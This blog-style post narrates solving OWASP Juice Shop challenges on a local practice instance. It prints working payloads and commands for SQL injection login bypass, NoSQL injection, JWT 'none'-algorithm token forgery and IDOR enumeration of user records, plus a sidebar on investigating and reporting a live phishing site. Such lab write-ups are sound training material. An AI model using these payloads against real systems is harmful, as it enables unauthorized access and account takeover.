Juice Shop Speedrun: 26 Flags in One Sitting
My first real test -- OWASP's deliberately vulnerable app
The machine is built. The tools are installed. The methodology doc is written in painstaking detail. Time to see if this thing can actually hack. I need a target that won't call the police, so I pull up OWASP Juice Shop — a deliberately vulnerable web app that's basically a punching bag with a Node.js backend.
$ docker pull bkimminich/juice-shop
$ docker run -d -p 3000:3000 bkimminich/juice-shop
$ curl -s http://localhost:3000 | head -5
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8">
<title>OWASP Juice Shop</title>
...
It's alive. Let's break it.
First Blood: SQLi Auth Bypass
Every hacker's rite of passage. The login form. The single quote. The dream.
I navigate to the login page, type the most cliche payload in existence into the email field, and hold my breath:
Email: ' OR 1=1--
Password: anything
POST /rest/user/login HTTP/1.1
Content-Type: application/json
{"email":"' OR 1=1--","password":"anything"}
HTTP/1.1 200 OK
{
"authentication": {
"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
Admin access. First try. The oldest trick in the book and it works because the app concatenates user input directly into a SQL query like it's 2004. I'm in as admin@juice-sh.op and I haven't even warmed up yet.
The dopamine hit is real. I know this is a practice app. I know it's designed to be vulnerable. But that 200 OK with an admin token? That never gets old.
NoSQL Injection on Search
The product search endpoint uses a different database. Time to speak its language:
GET /rest/products/search?q={"$gt":""} HTTP/1.1
HTTP/1.1 200 OK
[
{"id":1,"name":"Apple Juice","description":"...","price":1.99},
{"id":2,"name":"Orange Juice","description":"...","price":2.99},
... (37 products returned)
]
The {"$gt":""} payload tells the NoSQL query "give me everything where the search term is greater than nothing" — which is everything. All 37 products dumped, including hidden ones not shown in the UI. I find a "Christmas Special" product and a "Rippertuer Special Juice" that are both hidden from normal browsing.
JWT None Algorithm Attack
This one is a classic that still shows up in production more often than you'd hope. The Juice Shop issues JWTs signed with RS256. But what if I tell it the algorithm is none?
# Decode the JWT
$ echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"RS256","typ":"JWT"}
# Forge a new header with alg: none
$ echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Modify the payload to be a different user
$ echo -n '{"id":2,"email":"jim@juice-sh.op","role":"admin"}' | base64 -w0
eyJpZCI6MiwiZW1haWwiOiJqaW1AanVpY2Utc2gub3AiLCJyb2xlIjoiYWRtaW4ifQ
# Concatenate header.payload. (empty signature)
# Result: header.payload.
$ TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MiwiZW1haWwiOiJqaW1AanVpY2Utc2gub3AiLCJyb2xlIjoiYWRtaW4ifQ."
$ curl -s http://localhost:3000/rest/user/whoami \
-H "Authorization: Bearer $TOKEN"
{"user":{"id":2,"email":"jim@juice-sh.op"}}
I'm now Jim. Without Jim's password. Without any valid signature. The server just... believed me. In production, this is the difference between "logged in as yourself" and "logged in as anyone." The none algorithm exists for debugging and should never be accepted in production JWT validation. But here we are.
IDOR on User Profiles
Once authenticated, I start poking at the API. The user profile endpoint looks like this:
GET /api/Users/1 HTTP/1.1
Authorization: Bearer [my_token]
{"id":1,"username":"admin","email":"admin@juice-sh.op","role":"admin","password":"..."}
GET /api/Users/2 HTTP/1.1
Authorization: Bearer [my_token]
{"id":2,"username":"jim","email":"jim@juice-sh.op","role":"customer","password":"..."}
GET /api/Users/3 HTTP/1.1
Authorization: Bearer [my_token]
{"id":3,"username":"bender","email":"bender@juice-sh.op","role":"customer","password":"..."}
Just incrementing the ID gives me every user's profile. Including password hashes. No authorization check on whether User 1 should be allowed to view User 3's data. This is the bread and butter of real-world bug bounty — Insecure Direct Object References. Simple, devastating, and everywhere.
The Scoreboard
Twenty-six out of 110. I hit challenges across all difficulty tiers — from the trivial (finding the hidden scoreboard page) to the satisfying (the JWT forgery, the admin section bypass, the reflected XSS in the search). The easy ones fell in seconds. The harder ones took real thinking — understanding the app's logic, reading its JavaScript, tracing data flows.
Sidebar: A Real Phishing Campaign
While researching the Juice Shop and studying phishing techniques, I stumbled onto something that wasn't practice. A live phishing campaign targeting Meta Business Suite users, running on partner-connect-marketing.com.
The domain was registered January 29, 2026. It was hosted behind Cloudflare, running a Next.js frontend that perfectly mimicked Meta's business verification flow. The goal: steal business account credentials by convincing page admins their accounts were "under review."
$ whois partner-connect-marketing.com
Registrar: Namesilo
Created: 2026-01-29
Registrant: REDACTED FOR PRIVACY
$ curl -sI https://partner-connect-marketing.com | grep server
server: cloudflare
$ curl -s https://partner-connect-marketing.com | grep -i "meta\|business\|verify"
<title>Meta Business Verification</title>
<meta name="description" content="Verify your business account">
I documented everything — the domain registration, the infrastructure, the attack flow — and submitted takedown requests. Not a bug bounty. Not a report for points. Just the right thing to do when you find someone phishing real users.
The best thing about building offensive skills is recognizing when someone else is using them against real people. That recognition is the difference between a hacker and a criminal.
CTF vs. Real World
Here's what Juice Shop teaches you: the patterns. SQL injection is SQL injection whether it's in a practice app or a Fortune 500's login form. IDOR is IDOR whether the endpoint is /api/Users/1 or /api/v2/accounts/ACC-847291. The payloads are the same. The techniques are the same.
Here's what Juice Shop doesn't teach you: everything else. Real targets have WAFs. Rate limiting. CAPTCHAs. Legal departments. Scope restrictions. Triagers who will mark your report N/A because you forgot to include a screenshot. The gap between "I can exploit this practice app" and "I can find and prove a real vulnerability" is wider than most people think.
Juice Shop is the tutorial level. Useful. Necessary. But you don't beat the game by replaying the tutorial.
// Lesson Learned
CTF challenges teach you the mechanics — how injections work, how auth breaks, how data leaks. They don't teach you scope, validation, evidence, or the political art of convincing a triager your finding is real. The muscle memory from Juice Shop is valuable, but it's sparring, not the fight.
// Reality Check
26 out of 110 means I left 84 challenges on the table. I got the easy wins, claimed victory, and moved on. That impulse — grab the low-hanging fruit and keep moving — is exactly the instinct that would wreck my bug bounty career three days later. Depth over breadth starts here, and I ignored the lesson completely.